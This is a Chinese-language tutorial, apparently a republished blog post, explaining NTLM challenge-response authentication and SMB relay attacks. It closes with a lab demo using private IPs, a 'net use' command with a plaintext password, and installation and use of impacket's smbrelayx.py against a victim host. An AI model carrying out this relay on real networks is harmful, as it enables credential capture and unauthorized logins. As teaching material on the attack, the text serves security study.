smb中继攻击
阅读原文时间:2023年07月15日阅读:1

一.NTLM hash 和 Net-NTLM hash

1.客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前保存登录用户名和对应的密码 hash

2.服务器接收到请求后,生成一个 16 位的随机数 (被称为 Challenge也就是挑战码), 使用存储的登录用户密码 hash 加密 Challenge,获得 Challenge1,将challenge发送给客户端

3.客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,获得 Challenge2(这个结果被称为 response),将 response 发送给服务器

4.服务器接收客户端加密后的 response,比较 Challenge1 和 response,如果相同,验证成功

PS:在 NTLM 认证中,NTLM 响应分为 NTLM v1,NTLMv2,NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法,所以也就存在不同协议的 Net-NTLM hash,即 Net-NTLM v1 hash,Net-NTLM v2 hash

二.SMB中继流程

1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者

2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge

3,攻击者拿到这个challenge以后再把它返回给client端

4,而client端拿到challenge在本地和自己的password 加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端

5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证

7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了

三.攻击演示

PS:

1.受害者不能开启 smb 签名

2.打了ms08-068[KB957097]补丁

攻击机:192.168.127.134

受害机:192.168.127.128

第三方:192.168.127.131

第三方机器上执行如下命令,向攻击者传送smb流量:net use \\192.168.127.134\c$ "qwewsx123." /user:"Administrator"

安装impacket套件

apt-get --reinstall install python-pyasn1 python-pyasn1-modules

git clone https://github.com/CoreSecurity/impacket.git
chmod -R 755 impacket
cd impacket/
python setup.py install
cd examples/
python smbrelayx.py -h 受害机IP

攻击机上可以看到,当有人net use连接攻击机上时,攻击者就回捕捉到了smb 的登录凭证hash,然后拿着这个hash到受害机尝试登录进行重放攻击

 

参考链接:

https://www.freebuf.com/articles/system/176206.html

https://klionsec.github.io/2016/07/20/smb-replay-attack/

https://zhuanlan.zhihu.com/p/64889695

https://www.jianshu.com/u/3067117bd792

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章